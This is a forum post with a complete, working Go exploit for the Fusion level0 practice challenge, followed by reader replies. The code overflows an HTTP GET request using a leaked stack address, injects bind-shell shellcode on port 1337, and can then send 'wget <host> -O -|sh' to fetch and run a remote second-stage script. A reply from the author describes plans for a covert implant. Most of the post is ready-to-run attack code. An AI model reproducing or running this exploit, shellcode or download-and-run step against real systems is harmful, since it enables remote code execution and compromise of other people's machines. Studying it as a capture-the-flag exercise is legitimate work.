Weaponized Exploit Writing in GO FUSION0

#Intro
Hello fellow nybbles Null Bytes and Nullers!

Today we are going to be discussing a fairly trivial exploit (FUSION level0) written in a language with very few pre-written hacking toolsets and libraries. We are a bit spoiled by pwntools and all of the SO questions on “how to implement a buffer overflow”.

I was also just looking for a challenge. :slight_smile:

Don’t take this post seriously

#Why?

Writing Exploits in scripting languages (python, perl, ruby, sic) is so in chic right now, so why change?
Because retro is making a comeback baby, #MakeExploitsCompileAgain

Having a binary package to distribute means that we can sell our exploits!

Yeah, people can reverse engineer our product, but if we make sure to sell only sell to governments and law enforcement then we can even include a EULA!

  • C is a great compiled language but it is hard to write in.
    For C: (effort) < (money made) = false

  • Pony sounds fun, but it is still in heavy dev so that is out
    For Pony: likelihood of hitting a undefined language “feature” > 1

  • Rust was another consideration but I arbitrarily decided against it
    For Rust: Nah…

The Algorithm for this exploit is as folows

  1. make a tcp connection to port 20000 of the server
  2. Read the buffer address leak from the debugging feature
  3. send a malicious GET request with a URI that is longer than 128 bytes
  4. win

It is possible because of the information leak to create an extremely precise exploit.

Our payload is structured as follows

Payload = | “GET " | “JUNK” 139 bytes | address overwrite with leak + 158 | " HTTP/1.1” | 4-5 nops + shellcode |

The addition of 158 to the return address drops us in right after the HTTP/1.1 parameter so we don’t have to worry about prepending some jumping opcodes to our nop sled if we were to jump into URI portion of the payload.

Personally I had a lot of breakage attempting to use the short jump technique.

Without further ado - here it is:

package main
import (
	"bufio"
	"encoding/binary"
	"flag"
	"fmt"
	"log"
	"net"
	"strconv"
	"strings"
	"time"
)

func main() {
	// some constants
	shellcode := "\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
	bufflen := 139
	init_exploit()
	// parse cmd line args
	pvaddr := flag.String("vaddr", "", "victim IP in format <address:port>")
	ps2host := flag.String("s2_addr", "", "http://address to get stage2 script from")
	flag.Parse()
	vaddr := *pvaddr
	s2host := *ps2host

	fmt.Println("*******************************")
	fmt.Println("**     FUSION00 EXPLOIT      **")
	fmt.Println("**            -              **")
	fmt.Println("**       BLUEPEGASUS         **") //gotta have a cute name that means nothing
	fmt.Println("*******************************")

	// tries to catch some invalid input
	if vaddr == "" {
		log.Fatal("[-] invalid arg try -h")
	}

	// make connection
	fmt.Printf("[!] connecting to remote host: %s\n", vaddr)
	conn, err := net.Dial("tcp", vaddr)
	if err != nil {
		fmt.Println("[-] connection failed\t\t:(")
		log.Fatal(err)
	}
	// defer is soooooo nice
	defer conn.Close()
	fmt.Println("[+] connected!")

	// make reader for the network connection
	read_from_con := bufio.NewReader(conn).Read

	// get address leak from program
	s_addr_leak := make([]byte, 256)
	read_from_con(s_addr_leak)
	ret := get_leaked_addr(s_addr_leak)

	// generate payload
	fmt.Println("[+] generating payload from leaked address")
	overflow := strings.Repeat("\xCC", bufflen)
	payload := []byte(fmt.Sprintf("%s%s", overflow, ret))

	// send exploit
	fmt.Println("[!] sending attack!!!")
	write_req(payload, []byte(shellcode), conn)

	if s2host != "" {
		stage2(vaddr, s2host)
	}

	fmt.Println("\n[+] Have a nice day!")
	return
}

func get_leaked_addr(s []byte) (ret string) {
	str_s := string(s)
	str_addr := strings.Split(str_s, " ")[4]
	str_addr = str_addr[2:]
	fmt.Printf("[+] got leaked address: %s\n", str_addr)
	i64_addr, err := strconv.ParseUint(str_addr, 16, 32)
	if err != nil {
		fmt.Println("[-] failed to parse address")
		log.Fatal(err)
	}
	i32_addr := uint32(i64_addr)
	i32_addr += 158
	b_ret := make([]byte, 4)
	binary.LittleEndian.PutUint32(b_ret, i32_addr)
	ret = string(b_ret)
	return ret
}

func write_req(payload []byte, sc []byte, conn net.Conn) {
	request := fmt.Sprintf("GET %s HTTP/1.1%s\r\n\r\n", payload, sc)
	conn.Write([]byte(request))
}
func init_exploit() {
	return
}

func stage2(vaddr string, s2host string) {

	fmt.Println("[+] refactoring connection to connect bindshell")
	fmt.Println("[!] waiting for a few moments for exploit to finish binding shell")
	for i := 0; i < 10; i++ {
		time.Sleep(100 * time.Millisecond)
		fmt.Printf(".")
	}
	fmt.Printf("Done!\n")
	host_ip := strings.Split(vaddr, ":")[0]
	con_str := fmt.Sprintf("%s:1337", host_ip)
	fmt.Printf("[+]\t%s->%s:1337\n", vaddr, host_ip)

	conn, err := net.Dial("tcp", con_str)
	if err != nil {
		fmt.Println("[-] failed to connect to bind shell")
		log.Fatal(err)
	}
	defer conn.Close()
	fmt.Println("[+] connected to bindshell!")
	fmt.Println("[!] generating script for stage2")
	r_cmd := "\nwget " + s2host + " -O -|sh&\nexit\n"
	fmt.Printf("[+] sending stage2 cmd: %s\n", r_cmd)
	conn.Write([]byte(r_cmd))
	fmt.Println("[+] wrote command to bindshell")
	return
}
10 Likes

I don’t think that the FBI is going to give a sh*t on your EULA :joy:
Anyways, thanks for the tutorial. What about using PyToC?
I haven’t used it yet, but what i so far have heard about it, it should suit the purpose.

1 Like

That was a jab at HackingTeam. During the prep for this post I was reading an article about the awful shit they do.

Also, I was thinking about using Py2C or Py2exe to write a light implant for preliminary recon for windows and linux boxes.

It’s main goal would be to provide a “shell” type feature and a reflective dll loader. I was going to use CovertUtils because it is supposed to make covert comms easy, but I was unable to even execute even the example code provided with the project, so that may be a bust… ):

1 Like

Will be playing with this later this week.
Thank you and keep the content coming!